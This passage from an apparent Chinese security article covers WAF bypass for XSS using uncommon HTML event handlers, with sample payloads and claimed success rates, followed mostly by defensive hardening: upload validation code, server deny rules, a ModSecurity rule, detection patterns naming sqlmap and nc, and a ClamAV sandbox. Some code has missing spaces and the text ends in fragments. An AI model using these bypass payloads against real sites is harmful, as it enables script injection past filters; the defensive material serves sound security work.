- 原理回顾
:使用 onauxclick
、onmouseleave
等非常见事件替代onclick
,绕过关键字黑名单。 - 成功率
:80% —— 多数WAF未将此类属性列入高危名单。 - 复杂度
:2分 —— 简单替换即可。 - 依赖条件
:2分 —— 只需前端渲染HTML。 - 修复状态
:持续有效 —— Wordfence、Comodo等仍未覆盖所有现代事件处理器。 - Payload示例
:
<divonauxclick=alert(1)>Click me</div>
<videoonloadedmetadata=confirm(2)src="valid.mp4"></video>
总体趋势与建议
指标 当前现状 最有效绕过技术 分片上传 > Base64隐写 > 事件处理器混淆 最易防御技术 Hex转义、URL多层编码(主流WAF已修复) 新兴威胁方向 利用合法功能组合(如LFI+SSRF+HTML上传)形成复合攻击链 推荐研究方向 基于AI的WAF行为建模对抗、跨请求上下文关联检测 注:完整评估矩阵模板(.xlsx)可通过以下链接下载:
https://github.com/owasp-modsecurity/WAF-Bypass-Research/tree/main/evaluation_matrix
针对性防御加固建议(面向开发人员与安全运维)
为应对日益复杂的文件上传绕过攻击,必须采取纵深防御策略。以下建议基于OWASP Application Security Verification Standard (ASVS) v4.0 第4.0.3节“File and Resource Management”与第9.1节“Input Validation”制定,具备高度可操作性。
1. 服务端强校验:扩展名 + MIME + 内容指纹三重验证
ASVS引用:V4.1.3, V9.2.1
目标:防止仅依赖前端或单一维度校验导致的绕过。实施方案:
// PHP 示例:使用 fileinfo 扩展验证文件真实类型
$allowed_types = ['image/jpeg', 'image/png', 'application/pdf'];
$upload_dir = '/var/www/uploads/';
if ($_FILES['file']['error'] === UPLOAD_ERR_OK) {
$tmp_path = $_FILES['file']['tmp_name'];
$finfo = finfo_open(FILEINFO_MIME_TYPE);
$detected_mime = finfo_file($finfo, $tmp_path);
finfo_close($finfo);
// 第一层:白名单MIME
if (!in_array($detected_mime, $allowed_types)) {
die("Invalid MIME type: $detected_mime");
}
// 第二层:扩展名校验(不可单独使用)
$ext = strtolower(pathinfo($_FILES['file']['name'], PATHINFO_EXTENSION));
if (!in_array($ext, ['jpg', 'jpeg', 'png', 'pdf'])) {
die("Invalid extension");
}
// 第三层:内容指纹检测(防伪装)
if ($detected_mime === 'image/jpeg') {
if (!@getimagesize($tmp_path)) {
die("Not a valid JPEG file");
}
}
// 安全重命名并移动
$safe_name = bin2hex(random_bytes(16)) . ".$ext";
move_uploaded_file($tmp_path, $upload_dir . $safe_name);
}增强建议:
-
使用 libmagic
(Pythonpython-magic
)替代简单扩展名判断; -
对PDF/Office文件使用专用解析器(如 PyPDF2
、olefile
)提取元数据并检测脚本。
2. 上传目录权限最小化(禁止执行权限)
ASVS引用:V4.1.5
目标:即使上传WebShell也无法执行。Linux系统配置:
# 创建专用上传目录
mkdir -p /var/www/uploads
# 所有者设为web服务器用户(如www-data)
chown www-data:www-data /var/www/uploads
# 权限设为 755(目录可读写执行,文件不可执行)
chmod 755 /var/www/uploads
# 关键:在Web服务器中禁用脚本执行Nginx 配置示例:
location /uploads/ {
alias /var/www/uploads/;
# 禁止执行任何脚本
location ~ \.(php|jsp|asp|sh|pl|py)$ {
deny all;
}
# 或更严格:只允许静态资源
location ~* \.(jpg|jpeg|png|gif|pdf)$ {
add_header Content-Disposition inline;
}
location ~* \.(php|html?|js|css)$ {
return 403;
}
}Apache 配置示例:
<Directory "/var/www/uploads">
php_flag engine off
Options -ExecCGI
RemoveHandler .php .phtml .php3 .php4 .php5
<FilesMatch "\.(php|pl|py|jsp|asp|sh|cgi)$">
Require all denied
</FilesMatch>
</Directory>
3. 启用WAF日志审计与异常行为监控
ASVS引用:V9.10.1, V13.1.1
目标:及时发现扫描、爆破、高频失败上传等攻击行为。推荐监控指标:
指标 告警阈值 检测方式 单IP上传失败次数 >5次/分钟 WAF日志 + SIEM(如ELK/Splunk) 非标准User-Agent 包含sqlmap/nc/burp 日志正则匹配 高频上传小文件 >10次/秒 NetFlow + WAF API 含编码字符的文件名 %2e
, %u
,\x
WAF规则自定义 ModSecurity 规则示例(检测Base64可疑上传):
SecRule FILES_NAMES "@rx [a-zA-Z0-9]{50,}\.(jpg|png)$" \
"id:1001,phase:2,t:none,t:lowercase,block,msg:'Suspicious long Base64-like filename'"日志采集脚本(Python):
import re
from collections import defaultdict
# 分析Nginx访问日志
log_file = "/var/log/nginx/access.log"
failed_uploads = defaultdict(int)
withopen(log_file) as f:
for line in f:
if'upload.php'in line and'403'in line:
ip = line.split()[0]
failed_uploads[ip] += 1
for ip, count in failed_uploads.items():
if count > 5:
print(f"[ALERT] Suspicious upload attempts from {ip}: {count}")
# 可集成调用iptables封禁
4. 引入沙箱环境执行上传文件(Docker容器隔离)
ASVS引用:V4.1.7, V11.1.1
目标:对可疑文件进行动态分析,防止直接危害生产环境。架构设计:
[上传请求] → [WAF] → [临时存储] → [Docker沙箱] → [扫描结果] → [放行或删除]
Docker + ClamAV 实现文件扫描:
# Dockerfile
FROM alpine:latest
RUN apk add --no-cache clamav clamav-db
COPY scan.sh /scan.sh
CMD ["/scan.sh"]#!/bin/sh
# scan.sh
freshclam
clamscan -r /uploads/ --bell -i
if [ $? -eq 0 ]; then
echo"Clean"
exit 0
else
echo"Malicious file detected"
exit 1
fi自动化集成脚本:
import docker
import os
defscan_file(filepath):
client = docker.from_env()
container = client.containers.run(
"malware-scanner:latest",
volumes={filepath: {'bind': '/uploads/', 'mode': 'ro'}},
detach=True
)
result = container.wait()
logs = container.logs().decode()
container.remove()
return result['StatusCode'] == 0, logs
附加建议:定期红蓝对抗演练
-
每季度组织一次文件上传专项渗透测试; -
使用本文所述绕过技术作为TTPs(战术技术流程)输入; -
结合BlueLotus、Cobalt Strike等平台模拟真实攻击链; -
输出《绕过检测覆盖率报告》用于优化WAF策略。
法律风险提示:本文所有技术内容仅用于合法安全研究与系统加固目的。未经授权对他人系统实施测试属于违法行为,请严格遵守《网络安全法》及相关法律法规。
- 关键点
- 原逻辑
没有回复内容